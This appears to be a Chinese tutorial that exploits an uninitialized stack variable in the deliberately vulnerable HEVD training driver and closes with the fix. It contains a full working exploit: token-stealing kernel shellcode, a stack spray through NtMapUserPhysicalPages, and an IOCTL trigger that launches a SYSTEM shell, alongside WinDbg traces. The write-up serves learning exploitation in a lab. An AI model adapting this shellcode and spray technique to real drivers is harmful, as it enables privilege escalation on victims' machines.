0x00 前言
Windows内核系列:
0x01 漏洞原理
当我们的变量没有初始化(设置为NULL)时,那么这个变量会被设置为之前栈上存在的数据,那么我们就存在使用“栈喷射”将栈数据全部设置为某个值,然后参数就存在设置为我们想要的参数的可能。
0x02 漏洞缺陷定位
漏洞缺陷函数为:TriggerUninitializedMemoryStack()
下面这是TriggerUninitializedMemoryStack()的调用流程

漏洞调用流程:
函数设置了一个未初始化_UNINITIALIZED_MEMORY_STACK结构体变量UninitializedMemory,先判断我们传入的值地址是否在Ring3中,然后将判断传入的参数UserBuffer是否为0xBAD0B0B0,如果UserBuffer为0xBAD0B0B0则设置_UNINITIALIZED_MEMORY_STACK成员Value为0xBAD0B0B0和设置Callback为UninitializedMemoryStackObjectCallback函数的地址,如果UserBuffer不为0xBAD0B0B0则判断Callback成员是否为NULL,然后调用Callback指向的函数。

如上图,我们可以看到,由于_UNINITIALIZED_MEMORY_STACK没有初始化,所以存在利用“栈喷射”将_UNINITIALIZED_MEMORY_STACK结构体成员Callback设置为我们执行shellcode函数的地址。
0x03 溢出利用
利用EXP:(.c,win32,release生成项目文件)
#include <Windows.h>
#include <stdio.h>
HANDLE hDevice = NULL;
typedef NTSTATUS(WINAPI * My_NtMapUserPhysicalPages)(
IN PVOID VirtualAddress,
IN ULONG_PTR NumberOfPages,
IN OUT PULONG_PTR UserPfnArray);
VOID ShellCode()
{
_asm
{
//int 3
pushad
mov eax, fs: [124h] // Find the _KTHREAD structure for the current thread
mov eax, [eax + 0x50] // Find the _EPROCESS structure
mov ecx, eax
mov edx, 4 // edx = system PID(4)
// The loop is to get the _EPROCESS of the system
find_sys_pid :
mov eax, [eax + 0xb8] // Find the process activity list
sub eax, 0xb8 // List traversal
cmp[eax + 0xb4], edx // Determine whether it is SYSTEM based on PID
jnz find_sys_pid
// Replace the Token
mov edx, [eax + 0xf8]
mov[ecx + 0xf8], edx
popad
//int 3
ret
}
}
BOOL init()
{
// Get HANDLE
hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
NULL,
NULL);
printf("[+]Start to get HANDLE...\n");
if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
{
return FALSE;
}
printf("[+]Success to get HANDLE!\n");
return TRUE;
}
static VOID Cmd()
{
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)& si, &pi);
if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}
VOID Trigger_shellcode()
{
DWORD bReturn = 0;
char buf[4] = {0};
*(PDWORD32)(buf) = 0xBAD0B0B0 + 1;
My_NtMapUserPhysicalPages NtMapUserPhysicalPages = (My_NtMapUserPhysicalPages)GetProcAddress(
GetModuleHandle(L"ntdll"),
"NtMapUserPhysicalPages");
if (NtMapUserPhysicalPages == NULL)
{
printf("[+]Failed to get MapUserPhysicalPages!!!\n");
return;
}
PDWORD StackSpray = (PDWORD)malloc(1024 * 4);
memset(StackSpray, 0x41, 1024 * 4);
printf("[+]Spray address is 0x%p\n", StackSpray);
for (int i = 0; i < 1024; i++)
{
*(PDWORD)(StackSpray + i) = (DWORD)& ShellCode;
}
NtMapUserPhysicalPages(NULL, 1024, StackSpray);
DeviceIoControl(hDevice, 0x22202f, buf, 4, NULL, 0, &bReturn, NULL);
}
int main()
{
if (init() == FALSE)
{
printf("[+]Failed to get HANDLE!!!\n");
system("pause");
return 0;
}
Trigger_shellcode();
printf("[+]Start to Create cmd...\n");
Cmd();
system("pause");
return 0;
}
一. 获取TriggerUninitializedMemoryStack()的控制码

反汇编IrpDeviceIoCtlHandler函数可以看到TriggerUninitializedMemoryStack()的控制码为:0x22202F
配置我们传入参数不为0xBAD0B0B0进而为下一步利用做铺垫
DWORD bReturn = 0;
char buf[4] = {0};
*(PDWORD32)(buf) = 0xBAD0B0B0 + 1; //这里只要不为0xBAD0B0B0即可
将参数传入到内核中进而调用UninitializedMemory.Callback()
DeviceIoControl(hDevice, 0x22202f, buf, 4, NULL, 0, &bReturn, NULL);
二、 配置栈喷射(注意:堆喷射和栈喷射是有区别的)
原理:
Windows内核API中存在一个函数NtMapUserPhysicalPages可以指定一个内存空间设置为栈缓冲区,所以一旦我们的结构体没有初始化且是栈数据时,我们就可以使用该函数将栈缓冲区都事先设置为我们的shellcode函数指针,进而达到利用。(栈喷射这里有详细讲解:nt!NtMapUserPhysicalPages 和内核堆栈喷射技术)
我们先设置好NtMapUserPhysicalPages函数的参数空间
typedef NTSTATUS(WINAPI * My_NtMapUserPhysicalPages)(
IN PVOID VirtualAddress,
IN ULONG_PTR NumberOfPages,
IN OUT PULONG_PTR UserPfnArray);
从ntdll.dll中获取到NtMapUserPhysicalPages的函数指针
My_NtMapUserPhysicalPages NtMapUserPhysicalPages = (My_NtMapUserPhysicalPages)GetProcAddress(GetModuleHandle(L"ntdll"), "NtMapUserPhysicalPages");
if (NtMapUserPhysicalPages == NULL)
{
printf("[+]Failed to get MapUserPhysicalPages!!!\n");
return;
}
然后使用malloc申请一个1024字节的内存块(因为NtMapUserPhysicalPages最多只能设置1024字节的内存空间)
PDWORD StackSpray = (PDWORD)malloc(1024 * 4);
将内存块初始化为A(因为是每bytes赋值,所以我们不能直接将内存块设置为shellcode指针)
memset(StackSpray, 0x41, 1024 * 4);
printf("[+]Spray address is 0x%p\n", StackSpray);
然后将内存块的每字节都设置为shellcode函数的指针
for (int i = 0; i < 1024; i++)
{
*(PDWORD)(StackSpray + i) = (DWORD)& ShellCode;
}
然后将这个内存块设置为我们即将使用到的栈缓冲区
NtMapUserPhysicalPages(NULL, 1024, StackSpray);
三、设置我们的shellcode函数
shellcode将系统进程的Token拷贝到了我们的exp进程上
VOID ShellCode() {
__asm {
pushad ;保存各寄存器数据
; start of Token Stealing Stub
xor eax, eax ; eax设置为0
mov eax, fs: [eax + 124h] ; 获取 nt!_KPCR.PcrbData.CurrentThread
mov eax, [eax + 050h] ; 获取 nt!_KTHREAD.ApcState.Process
mov ecx, eax ; 将本进程EPROCESS地址复制到ecx
mov edx, 4 ; WIN 7 SP1 SYSTEM process PID = 0x4
SearchSystemPID:
mov eax, [eax + 0b8h] ; 获取 nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, 0b8h
cmp[eax + 0b4h], edx ; 获取 nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID ; 循环检测是否是SYSTEM进程PID
mov edx, [eax + 0f8h] ; 获取System进程的Token
mov[ecx + 0f8h], edx ; 将本进程Token替换为SYSTEM进程 nt!_EPROCESS.Token
; End of Token Stealing Stub
popad
ret 8 ; Return cleanly
}
}
四、创建一个本进程Token的CMD进程
static VOID Cmd()
{
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)& si, &pi);
if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}
利用成功
因为调用NtMapUserPhysicalPages函数设置的缓冲区不一定是我们进程的缓冲区,所以存在不一定成功性,可以多执行几遍程序。

0x04 分析NtMapUserPhysicalPages覆盖缓冲区情况
执行EXP.exe文件,查看到[+]Spray address is 0x003a2918
所以我们使用Windbg查看这段内存空间的数据情况
流程:
执行EXP.exe,查看到[+]Spray address is 0x003a2918
进入EXP进程上下文
kd> !dml_proc
Address PID Image file name
855f8a20 4 System
86125890 f0 smss.exe
867c2030 14c csrss.exe
8693ed40 180 wininit.exe
8693f978 188 csrss.exe
............
869d76f8 a0c WmiPrvSE.exe
86e15930 a7c WmiApSrv.exe
86dd1388 ad0 Uninitialized-
86c5c7d0 adc conhost.exe
86dbe948 aec cmd.exe
86e61658 af4 cmd.exe
86b09208 afc conhost.exe
发现我们进程的PEB表的address为:86dd1388
kd> !dml_proc 0x86dd1388
Address PID Image file name
ReadVirtual: 86dd143c not properly sign extended
86dd1388 ad0 ReadVirtual: 86dd14f4 not properly sign extended
ReadVirtual: 86dd1534 not properly sign extended
Uninitialized- Full details
Select user-mode state Release user-mode state
Browse kernel module list Browse user module list
Browse full module list
.........
我们进入这个进程的上下文
kd> .process /p /r 0x86dd1388
ReadVirtual: 86dd13a0 not properly sign extended
Implicit process is now 86dd1388
.cache forcedecodeuser done
Loading User Symbols
ReadVirtual: 86dd1530 not properly sign extended
.....
查看NtMapUserPhysicalPages覆盖缓冲区情况
kd> dd 3a2918 l100
003a2918 00dc1040 00dc1040 00dc1040 00dc1040
003a2928 00dc1040 00dc1040 00dc1040 00dc1040
003a2938 00dc1040 00dc1040 00dc1040 00dc1040
003a2948 00dc1040 00dc1040 00dc1040 00dc1040
003a2958 00dc1040 00dc1040 00dc1040 00dc1040
003a2968 00dc1040 00dc1040 00dc1040 00dc1040
003a2978 00dc1040 00dc1040 00dc1040 00dc1040
003a2988 00dc1040 00dc1040 00dc1040 00dc1040
003a2998 00dc1040 00dc1040 00dc1040 00dc1040
003a29a8 00dc1040 00dc1040 00dc1040 00dc1040
003a29b8 00dc1040 00dc1040 00dc1040 00dc1040
003a29c8 00dc1040 00dc1040 00dc1040 00dc1040
003a29d8 00dc1040 00dc1040 00dc1040 00dc1040
003a29e8 00dc1040 00dc1040 00dc1040 00dc1040
003a29f8 00dc1040 00dc1040 00dc1040 00dc1040
003a2a08 00dc1040 00dc1040 00dc1040 00dc1040
003a2a18 00dc1040 00dc1040 00dc1040 00dc1040
003a2a28 00dc1040 00dc1040 00dc1040 00dc1040
003a2a38 00dc1040 00dc1040 00dc1040 00dc1040
003a2a48 00dc1040 00dc1040 00dc1040 00dc1040
............
上面的00dc1040就是我们的shellcode函数地址
反汇编一下shellcode
kd> u 00dc1040
Uninitialized_Stack_Variable!ShellCode [D:\Sources\testing_file\HEVD.EXE\Uninitialized-Stack-Variable\Uninitialized-Stack-Variable\Uninitialized-Stack-Variable.c @ 12]:
00dc1040 53 push ebx
00dc1041 56 push esi
00dc1042 57 push edi
00dc1043 60 pushad
00dc1044 64a124010000 mov eax,dword ptr fs:[00000124h]
00dc104a 8b4050 mov eax,dword ptr [eax+50h]
00dc104d 8bc8 mov ecx,eax
00dc104f ba04000000 mov edx,4
可以证实到这个就是我们的shellcode
那么问题来了,因为我们调用UninitializedMemory.Callback()时如果调用到了Callback参数上原缓冲区数据时,肯定会出现异常的,那么为什么程序能正常执行呢?
0x05 探测UninitializedMemory.Callback()
找到UninitializedMemory.Callback()的调用汇编
IDA静态分析到UninitializedMemory.Callback()的汇编指令

在Windbg中找到HEVD.sys中TriggerUninitializedMemoryStack函数地址
kd> x HEVD!TriggerUninitializedMemoryStack
a21b5ffa HEVD!TriggerUninitializedMemoryStack (void *)
经正则,定位到到+0x000000a1为UninitializedMemory.Callback()
kd> u a21b5ffa+000000a1
a21b609b ffd0 call eax
a21b609d eb2d jmp HEVD!TriggerUninitializedMemoryStack+0xd2 (a21b60cc)
a21b609f 8b45ec mov eax,dword ptr [ebp-14h]
a21b60a2 8b00 mov eax,dword ptr [eax]
a21b60a4 8b00 mov eax,dword ptr [eax]
a21b60a6 8985f0feffff mov dword ptr [ebp-110h],eax
给指定地址下断点
kd> bp a21b609b
再次执行EXP.exe后在这个断点下中断
一步一步执行查看情况
kd> p
HEVD!TriggerUninitializedStackVariable+0xbd:
01391040 c745fcfeffffff mov dword ptr [ebp-4],0FFFFFFFEh
kd> p
HEVD!TriggerUninitializedStackVariable+0xc4:
01391047 8bc7 mov eax,edi
kd> p
HEVD!TriggerUninitializedStackVariable+0xc6:
01391056 e894c0ffff call HEVD!__SEH_epilog4 (013e3167)
可以看到当我们call了一个奇怪的地址时,就会跳转到异常处理上,避免错误
0x06 漏洞修复
只要将我们即将调用函数的结构体变量初始化即可将缺陷修复
将_UNINITIALIZED_MEMORY_STACK UninitializedMemory;设置为_UNINITIALIZED_MEMORY_STACK UninitializedMemory = NULL;
跳跳糖